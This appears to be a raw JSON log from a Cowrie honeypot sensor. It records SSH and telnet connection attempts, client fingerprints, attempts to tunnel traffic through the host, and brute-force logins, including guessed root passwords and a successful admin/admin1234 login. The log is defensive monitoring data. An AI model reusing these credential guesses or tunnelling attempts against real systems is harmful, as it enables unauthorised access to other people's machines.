\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\x17R\\xe8\\x80*P\\x01\\x97\\xa0Q\\xbb\\xcf\\xe5\\xe5]\\x1bW\"\\x83Z\\r\\x95\\xb7v\\xdfO@S\\x19\\xcet\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.261302Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.325773Z","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.388678Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xa9\\xaa\\x8b)\\xac\\xc6\\xbaS\\x11\\x0e\\x88\\x96\\x11zH\\xafk\\x9a0b9\\xed*\\x03\\xce&XT\\x03M\\xf6 \\xa3\\x8eqr\\xde\\xba~\\x13%\\xdeS\\xb9\\xe5}X\\x8c\\x82[~\\xae\\xbf\\xbf\\x18-\\x97qKE\\x13\\x19\\xff\\xbd\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 D]\\xd3+\\xc0\\x90J_WX\\x94\\xa4\\xb2u\\xac\\xa0\\xe7\\x80\\xa9\\x1dD\\xcbtV\\x1b\\x1c\\x99\\xefcR\\xcb?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x12\\xa9\\xaa\\x8b)\\xac\\xc6\\xbaS\\x11\\x0e\\x88\\x96\\x11zH\\xafk\\x9a0b9\\xed*\\x03\\xce&XT\\x03M\\xf6 \\xa3\\x8eqr\\xde\\xba~\\x13%\\xdeS\\xb9\\xe5}X\\x8c\\x82[~\\xae\\xbf\\xbf\\x18-\\x97qKE\\x13\\x19\\xff\\xbd\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 D]\\xd3+\\xc0\\x90J_WX\\x94\\xa4\\xb2u\\xac\\xa0\\xe7\\x80\\xa9\\x1dD\\xcbtV\\x1b\\x1c\\x99\\xefcR\\xcb?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:01.391336Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.189","src_port":35864,"dst_ip":"159.203.135.109","dst_port":23,"session":"943b088f07c4","protocol":"telnet","message":"New connection: 66.132.172.189:35864 (159.203.135.109:23) [session: 943b088f07c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:02.630838Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47350,"dst_ip":"159.203.135.109","dst_port":22,"session":"ced2d2e67dba","protocol":"ssh","message":"New connection: 27.71.230.31:47350 (159.203.135.109:22) [session: ced2d2e67dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:03.615951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:03.627209Z","src_ip":"27.71.230.31","session":"ced2d2e67dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:04.159205Z","src_ip":"27.71.230.31","session":"ced2d2e67dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:05.142705Z","src_ip":"23.175.50.52","session":"46746f9ec34f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7133491039276123,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:06.344060Z","src_ip":"66.132.172.189","session":"943b088f07c4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"User@2025","message":"login attempt [root/User@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:08.546718Z","src_ip":"27.71.230.31","session":"ced2d2e67dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:09.877981Z","src_ip":"27.71.230.31","session":"ced2d2e67dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.189","src_port":37714,"dst_ip":"159.203.135.109","dst_port":23,"session":"3728012a13f1","protocol":"telnet","message":"New connection: 66.132.172.189:37714 (159.203.135.109:23) [session: 3728012a13f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:11.072861Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":55104,"dst_ip":"159.203.135.109","dst_port":22,"session":"c664129c8681","protocol":"ssh","message":"New connection: 103.176.20.57:55104 (159.203.135.109:22) [session: c664129c8681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:14.981646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:14.986382Z","src_ip":"103.176.20.57","session":"c664129c8681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.373211145401001,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:15.235180Z","src_ip":"66.132.186.202","session":"a79db481462e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:15.242462Z","src_ip":"103.176.20.57","session":"c664129c8681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290785","message":"login attempt [root/290785] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:16.008258Z","src_ip":"103.176.20.57","session":"c664129c8681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:17.267393Z","src_ip":"103.176.20.57","session":"c664129c8681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.202","src_port":34162,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c66b3b9ece7","protocol":"telnet","message":"New connection: 66.132.186.202:34162 (159.203.135.109:23) [session: 1c66b3b9ece7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:20.285658Z"}
{"eventid":"cowrie.session.closed","duration":3.287325859069824,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:23.572811Z","src_ip":"66.132.186.202","session":"1c66b3b9ece7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.726022243499756,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:23.798783Z","src_ip":"66.132.172.189","session":"3728012a13f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.186.202","src_port":34174,"dst_ip":"159.203.135.109","dst_port":23,"session":"8439cb83df68","protocol":"telnet","message":"New connection: 66.132.186.202:34174 (159.203.135.109:23) [session: 8439cb83df68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:27.126091Z"}
{"eventid":"cowrie.session.closed","duration":10.432181596755981,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:37.557988Z","src_ip":"66.132.186.202","session":"8439cb83df68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":51497,"dst_ip":"10.17.0.5","dst_port":22,"session":"e87acff2c8e4","protocol":"ssh","message":"New connection: 63.141.242.2:51497 (10.17.0.5:22) [session: e87acff2c8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:44.168385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:44.175325Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:44.494276Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:32:45.576879Z","src_ip":"63.141.242.2","session":"e87acff2c8e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":59790,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed0ea430521","protocol":"ssh","message":"New connection: 173.208.188.210:59790 (10.17.0.5:22) [session: 7ed0ea430521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:05.422878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:05.427166Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:05.586356Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:06.992040Z","src_ip":"173.208.188.210","session":"7ed0ea430521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":52576,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b83a0c7a21","protocol":"ssh","message":"New connection: 103.77.175.15:52576 (10.17.0.5:22) [session: c3b83a0c7a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:33:12.764038Z"}
